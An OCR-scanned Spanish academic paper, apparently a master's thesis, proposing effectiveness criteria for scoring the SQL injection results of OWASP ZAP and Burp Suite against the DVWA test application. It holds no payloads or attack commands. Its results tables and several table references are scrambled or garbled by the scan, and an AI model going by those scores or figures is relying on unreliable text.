la herramienta inicia los ataques, que consisten en inyectar
valores en cada parametro, para que posteriormente se analicen
las respuestas recibidas por parte de la aplicacién (Vega, 2016).

Aflos atrds, eran pocas las herramientas que existian para
realizar un escaneo de vulnerabilidades a un sitio web, se tenia
que tener cierto nivel de experiencia para realizar una auditoria
de vulnerabilidad manualmente, esto no solo acarreaba que lo
realice un experto, sino que si el sitio a auditar era extenso,
el tiempo a invertir aumentaba.

La creacién de escaneres de seguridad para aplicaciones
web no solo ha permitido reducir recursos, tiempo, mano
de obra y otros costos asociados a pruebas de penetracion,
también elimina la dependencia del conocimiento humano del
tester [8].

Existen numerosos escdneres web que permiten identificar
vulnerabilidades a diferentes niveles, pero existen casos en los
que no han sido 100 % precisos a la hora de detectar la causa
de que el sitio sea vulnerable [5].

Aunque si bien existe libertad en la eleccién de un escaner
de vulnerabilidad web, el factor dinero o flexibilidad pre-
supuestaria es determinante en la decision de que escdner
seleccionar, dentro de las funciones de deteccién de vulne-
rabilidades que se buscan son: la precision, la cobertura y la
estabilidad, pero la realidad financiera de las empresas también
debe ser fuertemente considerada .

Autores como [1,11] exponen otros inconvenientes de los
escaneres de vulnerabilidad y estos son:

1. Solo instantdnea: un escdner de vulnerabilidad solo puede
evaluar una instantdnea del tiempo.*" términos de segu-
ridad de un sistema o red. Por lo tanto, el escaneo se
debe realizarse regularmente, ya que pueden surgir nuevas
vulnerabilidades al sistema, y si el sistema es alterado se
debe realizar un nuevo escaneo.

2. Se necesita el juicio humano: los escdneres de vulnerabi-
lidad solo pueden informar vulnerabilidades de acuerdo
a los complementos instalados en la base de datos de
escaneo. No pueden determinar si la respuesta es un falso
negativo o un falso positivo correcto, el juicio humano
siempre es necesario para analizar los datos y comprobar
la veracidad de los resultados.

3. Otros: un escaner de vulnerabilidades estd disefiado pa-
ra descubrir solo vulnerabilidades conocidas. No puede
identificar amenazas que no estdn en la base de conoci-
miento de la herramienta, como las relacionadas con pro-
blemas fisicos, operativos o cuestiones de procedimiento.

Inclusive si hablamos de las limitaciones de los dos tipos
de herramientas que existen: genéricas y especializadas, las
genéricas a menudo se seleccionan ya que pueden detectar
un amplio espectro de vulnerabilidades, aunque tengan baja
efectividad.

La construccién de herramientas efectivas requiere técnicas
innovadoras que tengan en cuenta todos los diferentes vectores
de entrada que puedan tener las estructuras encontradas en la

etapa pasiva del escaneo, que llegan a ser determinantes para
aseverar efectividad en los resultados.

La calidad y efectividad de los test de seguridad es medida
esencialmente por dos elementos: los falsos positivos y los
falsos negativos. Se conoce como falso positivo a la deteccién
de falsas vulnerabilidades y falso negativo cuando se da
omision de vulnerabilidades existentes, vulnerabilidades las
cuales no pueden ser explotadas [10].

Autores afirman que siguiendo metodologias sistemadticas a
lo largo de todas las etapas del proceso de una prueba de
penetracion [2], estableciendo criterios de calidad que deben
ser aplicados en los escenarios de ataque [4], escogiendo
la correcta herramienta de acuerdo al ataque que se va a
realizar [13], es como se puede concluir que los resultados
son efectivos.

El proyecto OWASP tiene un top 10 de vulnerabilidades en
aplicaciones web, pero este trabajo nos centramos en un tipo
de vulnerabilidad que es la SQL Injection.

SQL injection ha sido rankeada por varios afios por el
proyecto OWASP como una de las vulnerabilidades top. Los
ataques SQL se dirigen a sistemas controlados por bases
de datos que buscan inyectar fragmentos de cddigo SQL en
parametros de entrada vulnerables que no estan debidamente
controlados.

Estos cddigos se vuelven peligrosos para cualquier sistema
ya que si el atacante llegara a tener éxito puede realizar
acciones no permitidas en la base de datos. Estas acciones
pueden conducir a que se expongan datos sensibles, insertar o
alterar informacion sin autorizacion, borrado parcial o total, o
inclusive apropiarse completamente de la base de datos.

Lo que se expone en este trabajo es establecer criterios
de efectividad orientados a evaluar los resultados observa-
bles y medibles resultantes de herramientas de escaneo de
vulnerabilidades después de la ejecucioén de ataques de tipo
SQL Injection a una aplicacién web vulnerable, con el fin de
poder contribuir con un nuevo nivel de veracidad que puede
ser aplicado a los resultados.

II. METODOLOGIA DE TRABAJO

Debido a la naturaleza de este trabajo de fin de madster la
metodologia de trabajo consisti6 en tres fases, las dos primeras
relacionadas con investigacién y la dltima en reunir todos los
elementos y disefio de la verificacién de la metodologia.

La Figura 1, muestra los temas investigados en la fase uno
y dos, y las tareas realizadas en la fase tres.

Como se muestra en el grifico anterior, la primera fase
consistid en buscar toda la informacion relacionada a pruebas
de penetracién, desde que es una prueba, en que consiste
llevarlas a cabo, cuales son las herramientas que me permiten
realizarlas y como los auditores analizan los resultados.

Esta primera parte se enfocé mucho en investigar el estado
del arte de los experimentos llevados a cabo con los escéneres
de vulnerabilidad, cuales fueron los hallazgos y conocer las
herramientas que ya se han utilizado.



Fase 1:
*Pruchbas de Caja Megra.
=Herramientas para analisis dindmica o escaneres de
vulnerakilidad.
sExperimantos realizados con |05 escdneres.
Fase 2:
=Conceptos asociados a la efectividad.
*Técnicas 0 metodalogias de evaluacidn de resultados.
s Criteras que usan |08 aubores para evaluar resultadas.
Fase 3:

sCreary reunin los elementos gue intervienzn en la proebas.
*0rganizacion de los elemantos.
=Flaboracion de la planificacion de la prueba de |2 metodelogia,

Figura 1. Fases de la metodologia de trabajo

Esto fue de mucha ayuda ya que permitié tener una lista
inicial de herramientas con el fin de evaluar cuales de esas
podrian ser utilizadas en nuestro propio experimento.

La segunda fase al igual que la primera fue de investigacion,
pero ademds se incluyo mucho trabajo de disefio, ya que
en la primera fase se obtuvo que si bien existen técnicas
o metodologias que aseguran mejorar la efectividad de las
pruebas, los resultados arrojados son muy cerrados. Es por eso
que se busco técnicas que se utilizan para evaluar resultados de
manera general o algtin modelo que se utilice en otro contexto.

Una vez recopilada informacién acerca de pruebas y meto-
dologias de evaluacién orientados a evaluar resultados, se pasé
a la ultima fase de nuestra metodologia de trabajo, en donde el
esfuerzo se centré en construir y organizar los elementos para
ser usados para elaborar la planificacién de las pruebas, con el
fin de poder verificar la validez de la metodologia propuesta.

III. METODOLOG{A PARA COMPROBAR LA EFECTIVIDAD
DE LOS RESULTADOS

En la practica cuando se planea efectuar una evaluacion,
siempre se establece desde un inicio cual va a ser el objetivo, lo
que implica ejecutarla, el instrumento o plan que va a permitir
realizarla y que se espera con los resultados, por ejemplo, si
se quisiera evaluar la usabilidad de una aplicacién mévil, un
método cominmente usado es la evaluacién heuristica, la que
permite medir que tan usable es una aplicacién basados en
los principios de usabilidad de Jakob Nielsen o en el campo
de la produccién antes de sacar un producto al mercado este
debe pasar por pruebas de calidad para asegurar que se esta
entregando un buen producto.

Se estableci6 la teoria que con los criterios efectividad no
solo se va a corroborar la efectividad de la herramienta, sino
que también se podrd establecer el nivel de efectividad de cada
vulnerabilidad obtenida.

III-A.  Términos asociados a la efectividad y formato utiliza-
do

Para poder crear los criterios de efectividad primero se
realiz6 una revisiéon de formatos para la redaccién de los
mismos, cuales son los términos relacionados con la eficacia

y la eficiencia que deben ser incluidos como criterios y como
se aplican los criterios.

La efectividad es el equilibrio entre la eficacia y la eficien-
cia. La eficacia es lograr un resultado o efecto. En cambio, la
eficiencia es la capacidad de lograr el efecto en cuestiéon con
el minimo de recursos posibles viables. Ambos términos van
de la mano para poder alcanzar la efectividad.

Basidndonos en las definiciones mencionadas acerca de
como se logra la efectividad es que se planted crear criterios
ligados a esos términos.

Los atributos que rodean a la eficacia orientados a la com-
probacién de los cumplimientos seleccionados son: cantidad,
exactitud, satisfacciéon y calidad. De la misma manera, los
atributos que rodean a la eficiencia son: tiempo de respuesta
y costo humano.

Con respecto a la revision de formatos de criterios, los
criterios que se crearon se basaron en la estructura que se
utiliza en el sector educativo para la evaluacién de contenidos.

En nuestra metodologia, para redactar los criterios se uso
el formato de [3] que tiene similitudes al de [6] con respecto
a la estructura, pero se decidié usar el de Custodio porque en
su trabajo las tablas de criterios se definen mds formalmente
y se establece una puntuacién para cada criterio usando una
escala de likert.

La metodologia que se plantea es la aplicacién de un
cuestionario que evalué cuantitativamente aspectos cualitativos
de los resultados y que pueda ser aplicado a cualquier tipo
de prueba, con cualquier tipo de escdner de vulnerabilidad
web ya que estd disefiado de manera general con aspectos
comunmente vistos al analizar resultados.

III-B.  Elementos de la metodologia

Para poder evaluar cada criterio se diseiid un cuestionario de
evaluacion, en el que se detalla cual es la escala de puntuacién
a la que esta sujeto cada criterio, cada enunciado es puntuado
usando una escala de likert, que es una escala psicométrica
comunmente utilizada en cuestionarios y es la escala de uso
mds amplio en encuestas para la investigacion ya que permite
evaluar cuantitativamente aspectos cualitativos.

Los elementos que se incluyen en esta metodologia son
los que me van a permitir obtener resultados mas completos
orientados a evaluar efectividad. Estos son: los criterios de
efectividad, el cuestionario y la tabla de resultados. La tabla
1 indica los criterios de efectividad elaborados, cada criterio
tiene su codigo, nombre y descripcién.

Una vez establecido los criterios se procedié a elaborar el
cuestionario, que se muestra en la tabla 2 el cual se evalia cada
criterio, y se detalla cdmo se puntda los enunciados asociados
a cada criterio, cada enunciado posee un c6digo, su descripcion
y valoracion.

Finalmente, con el fin de recopilar los resultados de la
aplicacién de los criterios de efectividad aplicado por cada
uno de los escdneres seleccionados se cred la tabla 3.



Tabla I Tabla III

CRITERIOS DE EFECTIVIDAD TABLA DE RESULTADOS
Codigo Nombre Descripcion Nivel de | Nivel de | Criterios | Enunciado | Valoraciéon
QL Calidad Propiedad o conjunto de propiedades que Ataque Riesgo
permiten juzgar si el resultado obtenido es QL QL1
valioso.
QL2
T Cantidad Magnitud que expresa el nimero de vulne-
Q g que exp!
rabilidades obtenidas en las pruebas. QL3
S Satisfaccion Razén, accién o modo con el que se de- QL4
muestra agrado por los resultados obtenidos.
QT QT1
RT Tiempo de | La cantidad de tiempo que transcurre desde
iy S S1
Respuesta que percibimos algo hasta que damos una
respuesta en consecuencia a un ataque rea-
lizado. S2
HC Costo Cantidad asociada al trabajo de ejecutar TR TRI
Humano la auditorfa manual a las vulnerabilidades
encontradas por la herramienta. TR2
aFuente: Custodio F (2001)
HC HCl
2Elaboracion Propia
Tabla II
CUESTIONARIO

Cuestionario A Selecclonar el escdner
Codigo Criterio
QL Calidad
Codigo | Enunciado 1[2]/3[4][5
QL EI ataque realizado permitié obte- B. Configurar el escaner
ner mds falsos positivos de inyec-

cion.
QL2 El ataque realizado permitié obte-

ner mds falsos negativos de inyec-

cion.
QL3 El ataque realizado aport6 nuevas

vulnerabilidades.
QL4 El ataque realizado aport6 nuevas

vulnerabilidades relevantes.
QT Cantidad
QTI1 ElI nivel de ataque realizado influyo

a que mds vulnerabilidades sean
. detectadas. e

atisfaccion Figura 2. Fases de la Aplicacién de la metodologia

ST Los nuevos tipos de vulnerabilida- ¢ P ¢

des encontradas por la herramienta
debido al nivel de ataque realizado

se lo considera correcto. HI-C. Flujo de aplicacion de la metodologia
S2 Los nuevos tipos de vulnerabilida- Conocer como se va a evaluar los elementos o tecnologias
des encontradas por la herramienta que intervienen fue el siguiente paso. Pues bien, el flujo que
debido al nivel de ataque realizado li 1 todologi la sicuiente:
se o considera aceptable. se propone para aplicar la metodologia es la siguiente:
TR Tiempo de Respuesta Como indica la figura IV-B, la aplicacién de la metodologia
TRI EI tiempo total de Ia prueba se Io . s f: b li d
considera aceptable. propuesta tiene seis fases, brevemente explicaremos cada una
de ellas.

TR2 El niimero de vulnerabilidades de- (A) Seleccionar el escaner: Esta fase consiste en la evaluacién
tectadas es aceptable para el tiempo . .
de ejecucion de la prueba. de las herramientas de escaneo de vulnerabilidades con

HC Costo Humano 4 :

HET ET fiempo Tavertido en Ta auditoria el fin de obtener los escéneres ideales para hacer. la
manual de la vulnerabilidad detec- evaluacién de la metodologia. Este paso es de mucha im-
tada se la considera necesaria para portancia ya que una vez escogida la herramienta se debe

el nivel de ataque realizado.
2Elaboracién Propia

de conocer cuales son los pre requisitos de instalacién de
la herramienta para que esta funcione correctamente.



(B) Configurar el escaner: Poseer una herramienta bien con-
figurada y en perfectas condiciones permite que el tester
tenga confianza en que los resultados finales presentados
en la herramienta son fiables.

(C) Ejecutar la aplicaciéon web a evaluar: Una vez seleccio-
nada previamente la aplicacién web objetivo, se debe
configurar todo lo necesario para que la aplicaciéon pueda
ejecutarse sin problemas y sea detectable por el escdner
de vulnerabilidades. Para lograr esto dependiendo del
escaner que se utilice se debe configurar los puertos
que va a escuchar ambas aplicaciones para que todas las
solicitudes que se realicen en la aplicacién web logren
ser detectadas y analizadas por el escaner.

(D) Ejecutar las pruebas: De acuerdo al tipo de aplicacién
web seleccionada se realiza la planificacion de cuales son
las pruebas que se van a ejecutar, los sets de prueba que
se utilizardn, se define un alcance (scope) del objetivo y
demds. Ya contando con todos estos elementos es que se
procede a ejecutar los ataques de acuerdo a lo planificado.

(E) Evaluar los resultados de las pruebas con los criterios:
Cada vez que sea ejecutado cada nivel de ataque, se
debe proceder a evaluar los resultados observables y
medibles dados por la herramienta de parte del tester con
el cuestionario descrito en la tabla 6. Cada URL que es
detectada como tipo inyeccién SQL debe ser analizada
manualmente, contabilizar cuantos falsos positivos y fal-
s0s negativos se obtuvieron, una vez realizada esta tarea a
cada URL resultante se procede a aplicar el cuestionario
y colocar la valoracién correspondiente. Esta valoracién
en es subjetiva ya que depende del juicio del tester.

(F) Reportar: Después de la aplicacién del cuestionario, los
resultados se los registra en la tabla resumen con el fin
de una vez ejecutadas todas las pruebas se tenga un
global de los hallazgos encontrados y proceder a hacer la
comparativa.

La tabla 2 es la tabla que se usard para registrar la valo-
racion de cada evaluacién de los criterios, en ella se indicard
adicionalmente el nivel de ataque, el grado y la URL que fue
detectada como tipo de inyeccién SQL.

En el siguiente capitulo se presentard el ambiente de pruebas
utilizado, el proceso de pruebas y los resultados de la ejecucién
de la prueba de metodologia.

IV. EVALUACION

Una vez creado el material de evaluacién, se procedi6 a
completar los pasos para crear el ambiente de pruebas.

En el ambiente de pruebas intervienen todos los elementos
necesarios para poder realizar las pruebas de penetracién y
estos son: los escaneres seleccionados previamente instalados,
tener configurado el proxy en Firefox, tener instalado los
componentes para ejecutar la DVWA que es nuestra aplicacion
web en la que ejecutaremos las pruebas en nuestro localhost
y crear el archivo con sentencias de Inyeccién SQL.

IV-A. Ambiente de pruebas

Para seleccionar la aplicacién objetivo, se analizaron un
total de cinco aplicaciones web vulnerables que permiten
llevar a cabo pruebas de penetracién, una vez concluido el
proceso de evaluacién de las aplicaciones se decidié utilizar
DVWA porque tenfa documentacién mds completa y existia
mds informacién de como arreglar problemas de configuracién
por proxy.

De la misma manera se realiz6 un proceso de seleccién
para seleccionar los escaneres, primero se cred una lista con
15 de los escaneres mas utilizados para vulnerar aplicaciones
de manera aleatoria, luego se procedio a evaluar cada uno en
base si cumplia ciertas caracteristicas y requerimientos tales
como: version estable, compatibilidad con sistema operativo
Mac Os, si poseia un framework, soporte o documentacion.

Una vez recopilada la informacién se decidié optar por:
Owasp Zap ya que es libre y Burp Suite porque nos dieron
un tiempo de prueba.

Como vamos a realizar pruebas de inyeccién SQL un
elemento clave es el archivo con las sentencias ya que este
es el que se utilizard en los tres escaneres. La creacién de este
archivo permiti6 agilitar la auditaria manual de las URLs que
detect6 las herramientas de escaneo. Para las creaciones de este
archivo recopilamos un total de 120 sentencias SQL, algunas
son combinaciones entre ellas con el objetivo de detectar
cuales de ellas me permiten realizar un ataque exitoso. Una
vez creado las sentencias se procedi6 a validarlas en DVWA,
usando el formulario de SQL Injection. De las 120 solo 60
sentencias SQL pasaron, se muestra en la siguiente tabla cuales
sentencias pasaron y cuales no.

Una vez instalados y configurados los escaneres, configura-
do el proxy y creado el archivo con las sentencias recopiladas
procedimos a ejecutar las pruebas en el primer escdner que es
Owasp Zap y luego en Burp Suite.

IV-B. Proceso de pruebas

Se trat6 disefiar como se llevard a cabo la ejecucién y
replicacién de la metodologia. Antes de ejecutar la prueba en
cada escéner, se tuvo que configurar o reconfigurar el proxy
para que se adapte a las especificaciones de configuracion
establecidas en la documentacién oficial.

Una vez configurado el proxy e instalado todos los ele-
mentos necesarios para levantar el servicio de la aplicacién
vulnerable seleccionada y tener en ejecucion el escédner, se
definié que, para cada uno se debia seguir los siguientes pasos
que son explicados en la figura

Cada vez que se termine de ejecutar cada ataque, se debia
aplicar el cuestionario para cada vulnerabilidad encontrada de
tipo Inyeccién SQL y llenar la tabla de resultados.

Adicionalmente reportar el nimero de vulnerabilidades pro-
cesadas, el nimero de falsos positivos, el nimero de falsos ne-
gativos y a cudntas vulnerabilidades se les aplico los criterios
de efectividad.
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IV-C. Ejecucion de las pruebas

IV-C1. Primer Escdner: El primer escdner con el que
trabajamos es Owasp ZAP y antes de realizar el primer ataque
procedimos a ejecutar la DVWA, verificar las configuraciones
en el proxy de Firefox, ya que sino el escaner no va a trabajar
correctamente. Una vez configurado el ambiente de prueba
para Owasp ZAP, procedimos a ejecutar la aplicacién web
seleccionada.

Luego se procedié a ejecutar cada ataque de manera se-
cuencial tal como se indico en el flujo del proceso de pruebas:
pasivo, activo y por ultimo fuzzer.

De manera general el nivel de ataque que permitié que el
escaner de vulnerabilidades detectarda una URL como tipo SQL
Injection fue el ataque activo. Si bien el escdner detectd un
total de 10 tipos de vulnerabilidades, el andlisis de las pruebas
se centrd en capturar el maximo nimero de URLs de tipo
inyeccién para poder aplicar el cuestionario a el maximo de
URL posibles.

Para poder lograr esto, primero se realizé el nivel de ataque
pasivo para poder obtener todas las URLs de la aplicacién y
luego efectuar los otros niveles de ataque que tienen un nivel
superior.

Como mencionamos tenfamos un total de 120 sentencias
SQL que estaban divididas en dos grupos las que aplicadas
proporcionaban una vista en la interfaz y las que no.

La herramienta solo pudo detectar de todos los ataques
realizados 45 URLs que la categorizé como vulnerabilidad de
tipo falla por SQL Injection, de las cuales 38 correspondian al
grupo de sentencias que no devolvian ningun tipo de respuesta
por interfaz y tan solo 7 correspondian a sentencias que la
aplicacién web devolvia la consulta.

La tabla 4, nos indica un resumen de los resultados de las
pruebas aplicados en Owasp ZAP.

Cada una de las URLs detectadas pasaron por una auditoria
manual, en la que el andlisis arrojo que de las 45 vulnera-
bilidades procesadas 38 eran falsos positivos, porque solo 7
sentencias de estas provocaban alguna respuesta de parte de
la aplicacién. Lo que da lugar a que tengamos un total de 55
falsos negativos que no fueron detectados por la herramienta.

Para concluir una vez realizado cada ataque, a cada URL se
le aplico el cuestionario que realizamos previamente y estos
fueron los resultados.

Tabla IV
RESUMEN DE OWASP ZAP

Numero de falsos negativos 55
Numero de falsos positivos 38
Nivel de ataque que permitié encontrar mds | Activo
vulnerabilidades

Tipos de vulnerabilidades detectadas 10
Total de vulnerabilidades procesadas 45

2Elaboracion Propia

La valoracién que se dio a cada criterio fue subjetivo. Se
realiz6 la auditoria manual a las URLSs detectadas, se identificd
las URLs que debian ser detectadas por inyeccidn, pero que se
encasillaron en otras categorias, a esas se lo consideré6 como
falso positivo.

En la tabla 5, se muestra los resultados de la evaluacién de
las URLs detectadas.

1V-C2. Segundo Escdner: Para el segundo escdner que es
Burp Suite cambiamos configuracién en el proxy de Firefox
para que funcione correctamente. Una vez configurado el
ambiente de prueba, procedimos a ejecutar la aplicacion.

De igual manera se respeto el flujo de pruebas y se reportd
los resultados. En el caso de Burp Suite, se detect6 un total de
8 tipos de vulnerabilidades, incluyendo la SQL Injection. Los
resultados que arrojo la herramienta de todos los ataques rea-
lizados fueron de 120 sentencias SQL detectar 55 URLs, que
la categorizo como vulnerabilidad de tipo falla por Inyeccion
SQL.

La tabla 6, nos expone un resumen de los resultados de las
pruebas aplicados en el escaner.

La valoracion que se dio a cada criterio fue de la misma
manera subjetiva al andlisis de cada URL detectada. En la
tabla 7, se exponen los resultados.

V. CONCLUSIONES

Realizar tests de penetracién con alguna herramienta de
analisis dindmico o escaner de vulnerabilidad permite conocer
mas el nivel de proteccién de un sistema, conocer las vulnera-
bilidades que posee y cuales de esas son criticas para realizar
un plan de mitigacién de esas amenazas, pero se debe conocer
todo lo que implica realizar una prueba de penetracion desde
su planificacién, preparacién o training de la herramienta,
testeo y evaluacidn de los resultados. El conocimiento de que
cada etapa es vital para que la prueba tenga los resultados
esperados.

La aplicacién de criterios de efectividad si bien fue limitada
por la cantidad de URL detectadas, es una técnica valida
para hacer aplicados a resultados, ya que me permite obtener
métricas cuantitativas de aspectos cualitativos. En este trabajo
esos aspectos cualitativos fueron aplicados a los findings
detectados por los escdneres, que pasaron por una auditoria
manual.



Tabla V

TABLA DE RESULTADOS DE OWASP ZAP

Nivel de Nivel de Criterios Enunciado Valoraciéon
Ataque Riesgo
Pasivo Alto QL QLT 1
QL2 5
QL3 3
QL4 1
QT QT1 3
S S1 5
S2 5
TR TR1 5
TR2 3
Activo Alto SE SE{ %
QL2 4
QL3 5
QL4 5
QT QTI1 5
S S1 3
S2 3
TR TR1 4
TR2 4
Fuzzer Alto 31(3 31(311 g
QL2 4
QL3 3
QL4 2
QT QT1 3
S S1 2
S2 3
TR TR1 3
TR2 2
HC HC1 3

aElaboracion Propia

Tabla VI
RESUMEN DE BURP SUITE

Numero de falsos negativos 50
Numero de falsos positivos 41

Nivel de ataque que permitié encontrar mds | Fuzzer

vulnerabilidades
Tipos de vulnerabilidades detectadas 8
Total de vulnerabilidades procesadas 55

2Elaboracion Propia

Owasp Zap Burp Suite

Figura 4. Comparacién entre Owasp Zap y Burp Suite (Elaboracion Propia)

Una vez realizado la replicacién de la metodologia en
ambas herramientas, tenemos las siguientes observaciones que
pueden ser evidenciadas a partir de las siguientes figuras, en
donde se expone la comparativa entre la puntuacién obtenida
con Owasp Zap y Burp Suite.

Podemos notar que a comparacién de Burp Suite el ataque
activo es el ataque cuya puntuacién se mantuvo constante casi
en todos los criterios en Owasp Zap.

Por otro lado, vemos que en Burp Suite el ataque que tuvo
mayor puntuacién fue el ataque pasivo que en Owasp, ademas
que el ataque de tipo fuzzer es el que menos puntuacién tuvo
de manera general en los dos, pero si mejoro en Burp Suite
con respecto del otro escéner.

Situaciones ya expuestas en el capitulo de revisiéon de
literatura tales como: cobertura de las pruebas, exclusion de
variables en las URLSs, mal configuracién de las herramientas,
mal disefio de ataque, entre otras.

Todas estas razones pudieron resultar a que nuestro ataque
no fuera tan efectivo y que no detecte mas URL, que es lo
que se esperaba.

VI. TRABAJO FUTURO

Este trabajo puede dar lugar para que nuevas lineas de
trabajo se creen, con nuevas versiones de este experimento.
A continuacion, sefialaremos algunas:

1. Generalizar la tabla de criterios: Actualmente la tabla
esta disefiada para un tipo de vulnerabilidad que es la de
inyecciéon SQL, se podria redisefiar los criterios de efec-
tividad desarrollados de manera que puedan ser aplicados
a resultados dados para cualquier tipo de amenaza.



TABLA DE RESULTADOS DE BURP SUITE

Tabla VII

Nivel de Nivel de Criterios Enunciado Valoraciéon
Ataque Riesgo
Pasivo Alto QL QLT 3
QL2 2
QL3 3
QL4 4
QT QT1 5
S S1 3
S2 3
TR TR1 4
TR2 5
Activo Alto SE gE{ 451
QL2 1
QL3 1
QL4 1
QT QTI1 1
S S1 3
S2 3
TR TR1 5
TR2 1
Fuzzer Alto 31(3 81(311 411
QL2 1
QL3 1
QL4 3
QT QT1 4
S S1 4
S2 2
TR TRI 4
TR2 4
HC HC1 1

aElaboracion Propia

[1]
[2]
[3]
[4]
[5]

[6]
[7]

[8]
[9]

(10]

[11]

[12]
[13]
[14]

[15]

. Realizar el experimento con mads testers: Aumentar el

nimero de testers en el experimento seria excelente para
obtener retroalimentacién acerca de lo que se podria
mejorar. Se podria hacer una versién del experimento
inicialmente con seis personas, tres de ellas serian testers
expertos y los demds testers serian personas con un
menor nivel experiencia de tal manera que no solo se
tendria retroalimentacion de parte de los resultados de las
pruebas de ambos grupos sino también se podria hacer
una comparacién de su perspectiva de evaluacion.

. Seleccionar mas escdneres: En este trabajo de fin de

master debido al tiempo solo se hizo la prueba de la
metodologia usando dos escéneres de vulnerabilidades,
en la que se uso un escaner de pago y un escaner gratuito,
pero se podria usar al menos cinco escaneres de cada uno
para tener una comparativa mds detallada, si el tipo de
escaner incide en los resultados de la evaluacidn.

. Ampliar el set y realizar mutaciones a las sentencias SQL:

En este trabajo se uso un set de 120 sentencias SQL, pero
se podria crear uno con al menos 1000 sentencias para au-
mentar la cantidad de ataques, y conocer si ampliando el
set con nuevas variaciones se logra alcanzar mayor rango
de cobertura, permitiendo obtener mas URLs vulnerables
de tipo inyeccidn sql para la prueba de efectividad.
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